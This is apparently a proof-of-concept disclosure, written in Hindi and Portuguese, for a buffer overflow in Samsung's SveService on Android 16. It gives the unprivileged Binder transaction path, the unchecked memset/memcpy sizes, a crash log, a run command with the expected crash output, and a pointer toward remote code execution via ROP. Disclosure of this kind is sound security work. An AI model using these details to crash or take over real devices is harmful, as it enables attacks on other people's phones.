
A minimal PoC for CVE-2026-21018, demonstrating how it works
Samsung SMR May 2026
SVE-2026-0478(CVE-2026-21018)
प्रभावित संस्करण: Android 14, 15, 16
खुलासा स्थिति: निजी रूप से खुलासा
SveService में SMR May-2026 Release 1 से पहले आउट-ऑफ-बाउंड राइट स्थानीय विशेषाधिकार प्राप्त हमलावरों को मनमाना कोड निष्पादित करने की अनुमति देता है।
पैच उचित इनपुट सत्यापन जोड़ता है।
Android 16 चलाने वाले Samsung उपकरणों पर सिस्टम सेवा SveService (com.sec.sve) में बफर ओवरफ़्लो कमज़ोरी। यह सेवा system (UID 1000) के रूप में चलती है और Binder के माध्यम से बिना किसी विशेष अनुमति के पहुँच योग्य है।
| घटक | भूमिका | संस्करण |
|---|---|---|
sveservice.apk | Android सेवा | API 36 |
libsvejni.so | मूल ARM64 लाइब्रेरी | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
memset, sub sp, sp, xN (alloca), और memcpy में बिना किसी आकार सत्यापन के सीधे पैरामीटर i18, i19, i20 (AIDL से i106/i107/i108 के रूप में प्राप्त, TRANSACTION_sveSetCodecInfo = 38) का उपयोग किया जाता है।
समान फ़ंक्शन (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) cmp w20, #0x1e; b.gt (30 बाइट्स से अधिक को अस्वीकार करता है) के साथ सत्यापन करते हैं। SetCodecInfo बिल्कुल सत्यापन नहीं करता।
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF) के साथ मानCause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
#00 __memset_aarch64+160 libc.so
#01 sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)
x2 00000000ffffffff ← memset count = 4GB
x24 00000000ffffffff ← i18 = -1
sp 000000707f5f7610 ← SP in invalid region
x29 000000717f5f7710 ← original frame pointer
cd poc
./build_and_run.sh
अपेक्षित आउटपुट:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process शेल UID के रूप में काम करता है।signatureOrSystem अनुमति लागू नहीं की गई है — सेवा सीधे ServiceManager.addService() के माध्यम से पंजीकृत है, जो Android की अनुमति तंत्र को दरकिनार करता है।memset 0xFFFFFFFF के साथ हमेशा क्रैश करता है। RCE के लिए पता लीक + ROP (SM-A175F पर PAC अनुपस्थित) की आवश्यकता होगी।Vulnerabilidade de buffer overflow no serviço de sistema SveService (com.sec.sve) em dispositivos Samsung com Android 16. O serviço roda como system (UID 1000) e é acessível sem qualquer permissão especial via Binder.
| Componente | Papel | Versão |
|---|---|---|
sveservice.apk | Serviço Android | API 36 |
libsvejni.so | Biblioteca nativa ARM64 | Build ID: 0a71afa45f8688b4314ed8e5a0aea8b9 |
Na função sveJNISVE_SetCodecInfo (libsvejni.so:0x21710), os parâmetros i18, i19, i20 (recebidos da AIDL como i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38) são usados diretamente como argumentos para memset, sub sp, sp, xN (alloca) e memcpy sem qualquer validação de tamanho.
Outras funções similares (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validam com cmp w20, #0x1e; b.gt (rejeitam > 30 bytes). SetCodecInfo não valida nada.
App/Script
→ ServiceManager.getService("SveService")
→ transact(38, parcel, ...)
→ ISecVideoEngineService$Stub.onTransact()
→ SecVideoEngineImpl.sveSetCodecInfo()
→ SveJniProxy.sveJNISVE_SetCodecInfo()
→ libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
├── memset(dst, 0, i18)
├── sub sp, sp, (i19+15)&~15
├── memset(dst, 0, i19)
├── sub sp, sp, (i20+15)&~15
├── memset(dst, 0, i20)
├── memcpy(dst, src, i18)
├── memcpy(dst, src, i19)
└── memcpy(dst, src, i20)
-1 (0xFFFFFFFF)cd poc
./build_and_run.sh
Saída esperada:
[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed
ServiceManager.getService() via app_process funciona com UID shell.signatureOrSystem NÃO é aplicada — o serviço é registrado via ServiceManager.addService() diretamente, bypassando o permission check.memset com 0xFFFFFFFF sempre crasha. RCE precisaria de leak de endereço + ROP (PAC ausente no SM-A175F).| संक्रिया | मान | प्रभाव |
|---|
(i18 + 15) & ~15 | 0 | 0 बाइट आवंटित करता है |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | 4 GB को शून्य करने का प्रयास → SIGSEGV |
sxtw(i18) memcpy के लिए | 0xFFFFFFFFFFFFFFFF | -1 का साइन-एक्सटेंड → ~18 एक्साबाइट्स |
| Operação | Valor | Efeito |
|---|
(i18 + 15) & ~15 | 0 | Alloca 0 bytes |
memset(buf, 0, i18) | 0x00000000FFFFFFFF | Tenta zerar 4 GB → SIGSEGV |
sxtw(i18) para memcpy | 0xFFFFFFFFFFFFFFFF | Sign-extend de -1 → ~18 exabytes |